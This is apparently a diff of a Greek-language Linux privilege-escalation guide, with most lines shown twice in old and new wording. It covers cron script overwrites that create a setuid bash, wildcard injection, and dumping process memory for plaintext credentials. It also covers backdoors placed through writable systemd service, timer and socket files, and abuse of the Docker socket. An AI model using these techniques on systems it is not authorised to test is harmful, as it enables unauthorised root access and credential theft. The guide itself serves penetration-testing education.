## Διαφυγή από το Docker
## Διαρροή Docker
Αν βρίσκεστε μέσα σε ένα container του Docker μπορείτε να προσπαθήσετε να δραπετεύσετε από αυτό:
@ -149,7 +150,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
## Δίσκοι
Ελέγξτε **τι είναι προσαρτημένο και αποσυνδεδεμένο**, πού και γιατί. Αν κάτι είναι αποσυνδεδεμένο, μπορείτε να προσπαθήσετε να το προσαρτήσετε και να ελέγξετε για προσωπικές πληροφορίες.
Ελέγξτε **τι είναι προσαρτημένο και αποσυνδεδεμένο**, πού και γιατί. Αν κάτι είναι αποσυνδεδεμένο μπορείτε να προσπαθήσετε να το προσαρτήσετε και να ελέγξετε για προσωπικές πληροφορίες
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -174,22 +175,22 @@ which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb bas
dpkg -l #Debian
rpm -qa #Centos
```
Εάν έχετε πρόσβαση SSH στη μηχανή, μπορείτε επίσης να χρησιμοποιήσετε το **openVAS** για να ελέγξετε αν υπάρχουν παλιά και ευάλωτα λογισμικά εγκατεστημένα μέσα στη μηχανή.
Αν έχετε πρόσβαση SSH στη μηχανή, μπορείτε επίσης να χρησιμοποιήσετε το **openVAS** για να ελέγξετε αν έχει εγκατασταθεί στη μηχανή ξεπερασμένο και ευάλωτο λογισμικό.
{% hint style="info" %}
_Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που θα είναι κυρίως άχρηστες, επομένως συνιστάται η χρήση κάποιων εφαρμογών όπως το OpenVAS ή κάτι παρόμοιο που θα ελέγξει εάν κάποια έκδοση εγκατεστημένου λογισμικού είναι ευάλωτη σε γνωστές εκμεταλλεύσεις_
_Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που θα είναι κυρίως άχρηστες, επομένως συνιστάται η χρήση κάποιων εφαρμογών όπως το OpenVAS ή κάτι παρόμοιο που θα ελέγξει αν κάποια έκδοση εγκατεστημένου λογισμικού είναι ευάλωτη σε γνωστές εκμεταλλεύσεις_
{% endhint %}
## Διεργασίες
Ρίξτε μια ματιά σε **ποιες διεργασίες** εκτελούνται και ελέγξτε εάν κάποια διεργασία έχει **περισσότερα προνόμια από ό,τι θα έπρεπε** (ίσως ένα tomcat να εκτελείται από τον χρήστη root;)
Ρίξτε μια ματιά σε **ποιες διεργασίες** εκτελούνται και ελέγξτε αν κάποια διεργασία έχει **περισσότερα προνόμια από ό,τι θα έπρεπε** (ίσως ένα tomcat να εκτελείται από τον χρήστη root;)
```bash
ps aux
ps -ef
top -n 1
```
Πάντα ελέγχετε για πιθανούς [**αποσφαλματωτές electron/cef/chromium** που εκτελούνται, μπορείτε να τους εκμεταλλευτείτε για εξέλιξη προνομίων](electron-cef-chromium-debugger-abuse.md). Το **Linpeas** τους ανιχνεύει ελέγχοντας την παράμετρο `--inspect` μέσα στη γραμμή εντολών της διαδικασίας.\
Επίσης **ελέγξτε τα προνόμιά σας πάνω στα δυαδικά των διεργασιών**, ίσως μπορείτε να αντικαταστήσετε κάποιον άλλον.
Επίσης **ελέγξτε τα προνόμιά σας πάνω στα δυαδικά των διεργασιών**, ίσως μπορείτε να αντικαταστήσετε κάποιον.
### Παρακολούθηση διεργασιών
@ -198,23 +199,23 @@ top -n 1
### Μνήμη διεργασιών
Κάποιες υπηρεσίες ενός διακομιστή αποθηκεύουν **διαπιστευτήρια σε καθαρό κείμενο μέσα στη μνήμη**.\
Συνήθως θα χρειαστείτε **δικαιώματα ρίζας** για να διαβάσετε τη μνήμη διεργασιών που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είστε ήδη ρίζα και θέλετε να ανακαλύψετε περισσότερα διαπιστευτήρια.\
Συνήθως θα χρειαστείτε **δικαιώματα ρίζας** για να διαβάσετε τη μνήμη των διεργασιών που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είστε ήδη ρίζα και θέλετε να ανακαλύψετε περισσότερα διαπιστευτήρια.\
Ωστόσο, θυμηθείτε ότι **ως κανονικός χρήστης μπορείτε να διαβάσετε τη μνήμη των διεργασιών που σας ανήκουν**.
{% hint style="warning" %}
Σημειώστε ότι σήμερα τα περισσότερα μηχανήματα **δεν επιτρέπουν το ptrace από προεπιλογή** που σημαίνει ότι δεν μπορείτε να αντλήσετε άλλες διεργασίες που ανήκουν στον μη εξουσιοδοτημένο χρήστη σας.
Σημειώστε ότι σήμερα τα περισσότερα μηχανήματα **δεν επιτρέπουν το ptrace από προεπιλογή** που σημαίνει ότι δεν μπορείτε να αντλήσετε άλλες διεργασίες που ανήκουν στον μη εξουσιοδοτημένο χρήστη.
Το αρχείο _**/proc/sys/kernel/yama/ptrace\_scope**_ ελέγχει την προσβασιμότητα του ptrace:
* **kernel.yama.ptrace\_scope = 0**: όλες οι διεργασίες μπορούν να ελεγχθούν, όσο έχουν τον ίδιο uid. Αυτή είναι η κλασική λειτουργία του ptracing.
* **kernel.yama.ptrace\_scope = 0**: όλες οι διεργασίες μπορούν να ελεγχθούν, όσο έχουν τον ίδιο uid. Αυτό είναι ο κλασικός τρόπος λειτουργίας του ptrace.
* **kernel.yama.ptrace\_scope = 1**: μόνο μια γονική διεργασία μπορεί να ελεγχθεί.
* **kernel.yama.ptrace\_scope = 2**: Μόνο ο διαχειριστής μπορεί να χρησιμοποιήσει το ptrace, καθώς απαιτείται η δυνατότητα CAP\_SYS\_PTRACE.
* **kernel.yama.ptrace\_scope = 3**: Δεν μπορεί να ελεγχθεί καμία διεργασία με το ptrace. Μετά την ρύθμιση αυτής της τιμής, απαιτείται επανεκκίνηση για να ενεργοποιηθεί ξανά το ptracing.
* **kernel.yama.ptrace\_scope = 3**: Δεν μπορεί να ελεγχθεί καμία διεργασία με το ptrace. Μόλις οριστεί, απαιτείται επανεκκίνηση για να ενεργοποιηθεί ξανά η δυνατότητα ελέγχου με το ptrace.
{% endhint %}
#### GDB
Αν έχετε πρόσβαση στη μνήμη μιας υπηρεσίας FTP (για παράδειγμα), μπορείτε να ανακτήσετε το Heap και να αναζητήσετε μέσα σε αυτό τα διαπιστευτήριά της.
Αν έχετε πρόσβαση στη μνήμη μιας υπηρεσίας FTP (για παράδειγμα) μπορείτε να ανακτήσετε το Heap και να αναζητήσετε μέσα σε αυτό τα διαπιστευτήριά της.
```bash
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
@ -240,7 +241,7 @@ done
#### /proc/$pid/maps & /proc/$pid/mem
Για ένα συγκεκριμένο αναγνωριστικό διεργασίας, το **maps δείχνει πώς η μνήμη είναι αντιστοιχισμένη μέσα στο χώρο διεύθυνσης** της συγκεκριμένης διεργασίας. Δείχνει επίσης τις **άδειες πρόσβασης κάθε αντιστοιχισμένης περιοχής**. Το ψευδές αρχείο **mem αποκαλύπτει την ίδια τη μνήμη των διεργασιών**. Από το αρχείο **maps γνωρίζουμε ποιες περιοχές μνήμης είναι αναγνώσιμες** και τις μετατοπίσεις τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **ψάξουμε στο αρχείο mem και να αντλήσουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο.
Για ένα δεδομένο αναγνωριστικό διεργασίας, το **maps δείχνει πώς η μνήμη είναι αντιστοιχισμένη μέσα στον χώρο διεύθυνσης εκείνης της διεργασίας**· επίσης δείχνει τις **άδειες κάθε αντιστοιχισμένης περιοχής**. Το ψευδές αρχείο **mem αποκαλύπτει την ίδια τη μνήμη των διεργασιών**. Από το αρχείο **maps γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τις μετατοπίσεις τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **ψάξουμε στο αρχείο mem και να αντλήσουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο.
```bash
procdump()
(
@ -262,7 +263,7 @@ strings /dev/mem -n10 | grep -i PASS
```
### ProcDump για Linux
Το ProcDump είναι μια επανεκδοχή για Linux του κλασικού εργαλείου ProcDump από το σύνολο εργαλείων Sysinternals για τα Windows. Βρείτε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
Το ProcDump είναι μια επανεκδοχή για Linux του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για τα Windows. Βρείτε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@ -297,34 +298,34 @@ Press Ctrl-C to end monitoring without terminating the process.
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε να αφαιρέσετε χειροκίνητα τις απαιτήσεις ρίζας και να απορροφήσετε τη διεργασία που σας ανήκει
* Σενάριο A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται ρίζα)
### Διαπιστεύσεις από τη Μνήμη της Διεργασίας
### Διαπιστευτήρια από τη Μνήμη της Διεργασίας
#### Χειροκίνητο παράδειγμα
Αν ανακαλύψετε ότι η διεργασία ελέγχου ταυτότητας εκτελείται:
Αν διαπιστώσετε ότι η διεργασία ελέγχου ταυτότητας εκτελείται:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
Μπορείτε να αδειάσετε τη διαδικασία (δείτε τμήματα πριν για να βρείτε διαφορετικούς τρόπους για να αδειάσετε τη μνήμη μιας διαδικασίας) και να αναζητήσετε διαπιστευτήρια μέσα στη μνήμη:
Μπορείτε να αδειάσετε τη διαδικασία (δείτε τις προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους για να αδειάσετε τη μνήμη μιας διαδικασίας) και να αναζητήσετε διαπιστευτήρια μέσα στη μνήμη:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
#### mimipenguin
Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει κείμενο καθαρών διαπιστεύσεων από τη μνήμη** και από μερικά **γνωστά αρχεία**. Απαιτεί δικαιώματα ρίζας για να λειτουργήσει σωστά.
Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει διαπιστευτήρια κειμένου από τη μνήμη** και από μερικά **γνωστά αρχεία**. Απαιτεί δικαιώματα ρίζας για να λειτουργήσει σωστά.
| Χαρακτηριστικό | Όνομα Διεργασίας |
| Χαρακτηριστικό | Όνομα Διεργασίας |
| ------------------------------------------------- | -------------------- |
| Κωδικός GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Ενεργές Συνδέσεις FTP) | vsftpd |
| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth) | apache2 |
| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth) | apache2 |
| OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo) | sshd: |
#### Αναζήτηση Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
@ -340,7 +341,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Προγραμματισμένες/Cron εργασίες
Ελέγξτε εάν κάποια προγραμματισμένη εργασία είναι ευάλωτη. Ίσως μπορείτε να εκμεταλλευτείτε ένα σενάριο που εκτελείται από το ριζικό χρήστη (ευπάθεια με χρήση μπαλαντέρ; μπορείτε να τροποποιήσετε αρχεία που χρησιμοποιεί ο ριζικός χρήστης; χρησιμοποιήστε συμβολικούς συνδέσμους; δημιουργήστε συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί ο ριζικός χρήστη;).
Ελέγξτε εάν κάποια προγραμματισμένη εργασία είναι ευάλωτη. Ίσως μπορείτε να εκμεταλλευτείτε ένα σενάριο που εκτελείται από το ριζικό χρήστη (ευπάθεια με χρήση μπαλαντέρ; μπορείτε να τροποποιήσετε αρχεία που χρησιμοποιεί ο ριζικός χρήστης; χρησιμοποιήστε συμβολικούς συνδέσμους; δημιουργήστε συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί ο ριζικός χρήστης;).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -359,9 +360,9 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
### Χρονοδιακόπτης που χρησιμοποιεί ένα σενάριο με μεταβλητή (Εισχώρηση με Wildcard)
### Χρήση του Cron με ένα script που περιέχει μεταβλητή (Εισχώρηση με Wildcard)
Εάν ένα σενάριο εκτελείται από τον ριζικό χρήστη και περιέχει ένα "**\***" μέσα σε μια εντολή, μπορείτε να εκμεταλλευτείτε αυτό για να προκαλέσετε απροσδόκητα πράγματα (όπως ανύψωση προνομίων). Παράδειγμα:
Εάν ένα script εκτελείται από τον χρήστη root και περιέχει ένα "**\***" μέσα σε ένα command, μπορείτε να εκμεταλλευτείτε αυτό για να προκαλέσετε απρόσμενα πράγματα (όπως ανέλιξη προνομίων). Παράδειγμα:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
@ -373,7 +374,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
[wildcards-spare-tricks.md](wildcards-spare-tricks.md)
{% endcontent-ref %}
### Αντικατάσταση σεναρίου Cron και σύμβολο συμπύκνωσης
### Αντικατάσταση σεναρίου Cron και σύμβολο συμβολικού συνδέσμου
Αν **μπορείτε να τροποποιήσετε ένα σενάριο Cron** που εκτελείται από το ριζικό χρήστη, μπορείτε να αποκτήσετε πολύ εύκολα ένα κέλυφος:
```bash
@ -381,13 +382,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
```
Εάν το σενάριο που εκτελείται από το root χρησιμοποιεί ένα **κατάλογο στον οποίο έχετε πλήρη πρόσβαση**, ίσως είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε ένα σύνδεσμο στον κατάλογο ενός άλλου** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς
Αν το script που εκτελείται από το root χρησιμοποιεί ένα **κατάλογο στον οποίο έχετε πλήρη πρόσβαση**, ίσως είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε ένα σύνδεσμο σε έναν άλλο φάκελο** που εξυπηρετεί ένα script που ελέγχετε εσείς
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
### Συχνές εργασίες cron
Μπορείτε να παρακολουθείτε τις διεργασίες για να αναζητήσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να εκμεταλλευτείτε αυτό και να αναβαθμίσετε τα προνόμια.
Μπορείτε να παρακολουθείτε τις διεργασίες για να αναζητήσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να το εκμεταλλευτείτε και να αναβαθμίσετε τα προνόμια.
Για παράδειγμα, για **παρακολούθηση κάθε 0,1 δευτερολέπτου για 1 λεπτό**, **ταξινόμηση με λιγότερες εκτελούμενες εντολές** και διαγραφή των εντολών που έχουν εκτελεστεί τις περισσότερες φορές, μπορείτε να κάνετε:
```bash
@ -405,20 +406,20 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Εγγράψιμα αρχεία _.service_
Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, **μπορείτε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor** σας όταν η υπηρεσία **ξεκινάει**, **επανεκκινείται** ή **σταματάει** (ίσως χρειαστεί να περιμένετε μέχρι να γίνει επανεκκίνηση η μηχανή).\
Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`**
Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, **μπορείτε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινάει**, **επανεκκινείται** ή **σταματάει** (ίσως χρειαστεί να περιμένετε μέχρι να γίνει επανεκκίνηση του υπολογιστή).\
Για παράδειγμα δημιουργήστε το backdoor σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`**
### Εγγράψιμα δυαδικά αρχεία υπηρεσιών
Να έχετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε δυαδικά αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε για backdoors, έτσι ώστε όταν οι υπηρεσίες επανεκτελούνται, τα backdoors θα εκτελούνται.
### systemd PATH - Σχετικά Μονοπάτια
### systemd PATH - Σχετικά μονοπάτια
Μπορείτε να δείτε το PATH που χρησιμοποιείται από το **systemd** με:
```bash
systemctl show-environment
```
Αν ανακαλύψετε ότι μπορείτε να **εγγράψετε** σε οποιονδήποτε φάκελο της διαδρομής, μπορείτε να **αναβαθμίσετε τα δικαιώματά** σας. Πρέπει να αναζητήσετε **σχετικές διαδρομές που χρησιμοποιούνται σε αρχεία ρυθμίσεων υπηρεσιών** όπως:
Εάν ανακαλύψετε ότι μπορείτε να **εγγράψετε** σε οποιονδήποτε από τους φακέλους της διαδρομής, μπορεί να είστε σε θέση να **εξελίξετε τα δικαιώματά** σας. Πρέπει να αναζητήσετε **σχετικές διαδρομές που χρησιμοποιούνται σε αρχεία ρυθμίσεων υπηρεσιών** όπως:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
@ -428,9 +429,9 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
**Μάθετε περισσότερα για τις υπηρεσίες με την εντολή `man systemd.service`.**
## **Χρονοδιακόπτες (Timers)**
## **Χρονοδιακόπτες**
Οι **χρονοδιακόπτες (Timers)** είναι αρχεία μονάδας του systemd των οποίων το όνομα τελειώνει σε `**.timer**` και ελέγχουν αρχεία ή συμβάντα `**.service**`. Οι **χρονοδιακόπτες (Timers)** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για χρονικά συμβάντα ημερολογίου και χρονικά συμβάντα μονοτονίας και μπορούν να εκτελούνται ασύγχρονα.
Οι **Χρονοδιακόπτες (Timers)** είναι αρχεία μονάδας του systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν αρχεία ή συμβάντα `**.service**`. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα ημερολογίου και γεγονότα μονοτονικού χρόνου και μπορούν να εκτελούνται ασύγχρονα.
Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με:
```bash
@ -438,7 +439,7 @@ systemctl list-timers --all
```
### Εγγράψιμοι χρονοδιακόπτες
Εάν μπορείτε να τροποποιήσετε ένα χρονοδιακόπτη, μπορείτε να τον κάνετε να εκτελέσει ορισμένες υπάρχουσες μονάδες του systemd (όπως ένα `.service` ή ένα `.target`).
Εάν μπορείτε να τροποποιήσετε ένα χρονοδιακόπτη, μπορείτε να τον κάνετε να εκτελέσει ορισμένες υπάρχουσες μονάδες του systemd (όπως ένα αρχείο `.service` ή ένα αρχείο `.target`).
```bash
Unit=backdoor.service
```
@ -446,7 +447,7 @@ Unit=backdoor.service
> Η μονάδα που θα ενεργοποιηθεί όταν αυτός ο χρονοδιακόπτης λήξει. Το όρισμα είναι το όνομα μιας μονάδας, η οποία δεν έχει κατάληξη ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα του χρονοδιακόπτη, εκτός από την κατάληξη. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας του χρονοδιακόπτη να είναι πανομοιότυπα, εκτός από την κατάληξη.
Συνεπώς, για να εκμεταλλευτείτε αυτήν την άδεια, θα χρειαζόσασταν:
Συνεπώς, για να εκμεταλλευτείτε αυτήν την άδεια θα χρειαζόσασταν:
* Να βρείτε μια μονάδα systemd (όπως ένα `.service`) που **εκτελεί ένα εγγράψιμο δυαδικό αρχείο**
* Να βρείτε μια μονάδα systemd που **εκτελεί ένα σχετικό μονοπάτι** και να έχετε **εγγράψιμα δικαιώματα** πάνω στο **σύστημα PATH του systemd** (για να προσωποποιήσετε αυτό το εκτελέσιμο)
@ -455,31 +456,31 @@ Unit=backdoor.service
### **Ενεργοποίηση Χρονοδιακόπτη**
Για να ενεργοποιήσετε ένα χρονοδιακόπτη, χρειάζεστε δικαιώματα ριζού και να εκτελέσετε:
Για να ενεργοποιήσετε ένα χρονοδιακόπτη χρειάζεστε δικαιώματα ριζού και να εκτελέσετε:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
Σημειώστε ότι ο **χρονοδιακόπτης** ενεργοποιείται δημιουργώντας ένα σύμβολο σε αυτό στο `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
Σημειώστε ότι ο **χρονοδιακόπτης** ενεργοποιείται δημιουργώντας ένα σύμβολο σύνδεσης προς αυτό στο `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
## Sockets
Τα Unix Domain Sockets (UDS) επιτρέπουν τη **επικοινωνία διεργασιών** στον ίδιο ή διαφορετικό υπολογιστή μέσα σε μοντέλα πελάτη-εξυπηρετητή. Χρησιμοποιούν τυπικά αρχεία περιγραφέα Unix για τη διασύνδεση μεταξύ υπολογιστών και δημιουργούνται μέσω αρχείων `.socket`.
Τα Unix Domain Sockets (UDS) επιτρέπουν τη **επικοινωνία διεργασιών** στον ίδιο ή διαφορετικό υπολογιστή μέσα σε μοντέλα πελάτη-εξυπηρετητή. Χρησιμοποιούν τυπικά αρχεία περιγραφέων Unix για τη διασύνδεση μεταξύ υπολογιστών και δημιουργούνται μέσω αρχείων `.socket`.
Οι Sockets μπορούν να διαμορφωθούν χρησιμοποιώντας αρχεία `.socket`.
Τα Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας αρχεία `.socket`.
**Μάθετε περισσότερα για τα sockets με την εντολή `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να διαμορφωθούν διάφορες ενδιαφέρουσες παράμετροι:
**Μάθετε περισσότερα για τα sockets με την εντολή `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι:
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές, αλλά μια περίληψη χρησιμοποιείται για να **υποδείξει πού θα ακούει** το socket (τη διαδρομή του αρχείου AF\_UNIX socket, τον αριθμό θύρας IPv4/6 για ακρόαση, κλπ.)
* `Accept`: Παίρνει ένα όρισμα boolean. Αν είναι **true**, ένα **παράδειγμα υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο το socket σύνδεσης περνιέται σε αυτό. Αν είναι **false**, όλα τα ακούσματα των sockets περνιούνται **στην ενεργοποιημένη μονάδα υπηρεσίας**, και δημιουργείται μόνο μια μονάδα υπηρεσίας για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets δεδομένων και FIFOs όπου μια μονάδα υπηρεσίας χειρίζεται απόλυτα όλη την εισερχόμενη κίνηση. **Προεπιλογή σε false**. Λόγω λόγων απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
* `ExecStartPre`, `ExecStartPost`: Παίρνει μία ή περισσότερες γραμμές εντολών, οι οποίες εκτελούνται **πριν** ή **μετά** από τα ακούσματα των **sockets**/FIFOs να **δημιουργηθούν** και να συνδεθούν, αντίστοιχα. Το πρώτο τεκμήριο της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από ορίσματα για τη διαδικασία.
* `ExecStopPre`, `ExecStopPost`: Επιπλέον **εντολές** που εκτελούνται **πριν** ή **μετά** από τα ακούσματα των **sockets**/FIFOs να **κλείσουν** και να αφαιρεθούν, αντίστοιχα.
* `Service`: Καθορίζει το όνομα της **μονάδας υπηρεσίας** που **θα ενεργοποιηθεί** στη **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλέγεται στην υπηρεσία που φέρει το ίδιο όνομα με το socket (με το επίθεμα αντικαταστάθηκε). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτή την επιλογή.
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές, αλλά μια περίληψη χρησιμοποιείται για να **υποδείξει πού θα ακούει** το socket (η διαδρομή του αρχείου AF\_UNIX socket, ο αριθμός θύρας IPv4/6 για ακρόαση, κλπ.)
* `Accept`: Παίρνει ένα όρισμα boolean. Αν είναι **true**, ένα **παράδειγμα υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο το socket σύνδεσης περνιέται σε αυτό. Αν είναι **false**, όλα τα ακούσματα sockets περνιούνται **στην ενεργοποιημένη μονάδα υπηρεσίας**, και δημιουργείται μόνο μια μονάδα υπηρεσίας για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets δεδομένων και FIFOs όπου μια μονάδα υπηρεσίας χειρίζεται απόλυτα όλη την εισερχόμενη κίνηση. **Προεπιλογή σε false**. Λόγω λόγων απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
* `ExecStartPre`, `ExecStartPost`: Παίρνει μία ή περισσότερες γραμμές εντολών, οι οποίες εκτελούνται **πριν** ή **μετά** τη δημιουργία και δέσμευση των ακουστικών **sockets**/FIFOs αντίστοιχα. Το πρώτο τεκμήριο της γραμμής εντολής πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από ορίσματα για τη διαδικασία.
* `ExecStopPre`, `ExecStopPost`: Επιπλέον **εντολές** που εκτελούνται **πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακουστικών **sockets**/FIFOs αντίστοιχα.
* `Service`: Καθορίζει το όνομα της **μονάδας υπηρεσίας** που **θα ενεργοποιηθεί** στην **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλέγεται η υπηρεσία που φέρει το ίδιο όνομα με το socket (με το επίθεμα αντικαταστάθηκε). Στις περισσότερες περιπτώσεις, δεν θα είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή.
### Εγγράψιμα αρχεία .socket
### Αρχεία .socket εγγράψιμα
Αν βρείτε ένα **εγγράψιμο** αρχείο `.socket` μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και το backdoor θα εκτελεστεί πριν δημιουργηθεί το socket. Συνεπώς, ίσως χρειαστεί να περιμένετε μέχρι να γίνει επανεκκίνηση η συσκευή.\
_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη διαμόρφωση του αρχείου socket, αλλιώς το backdoor δεν θα εκτελεστεί_
_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτήν τη διαμόρφωση του αρχείου socket ή αλλιώς το backdoor δεν θα εκτελεστεί_
### Εγγράψιμα sockets
@ -510,20 +511,20 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
### Εγγράψιμο Docker Socket
### Εγγράψιμο Socket Docker
Το Docker socket, που συχνά βρίσκεται στη διαδρομή `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να προστατεύεται. Από προεπιλογή, είναι εγγράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιωμάτων εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε ανάβαση προνομίων. Εδώ υπάρχει μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι εάν το Docker CLI δεν είναι διαθέσιμο.
Το Docker socket, που συχνά βρίσκεται στη διαδρομή `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που πρέπει να προστατεύεται. Από προεπιλογή, είναι εγγράψιμο από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιωμάτων εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε ανάδειξη προνομίων. Εδώ υπάρχει μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι εάν το Docker CLI δεν είναι διαθέσιμο.
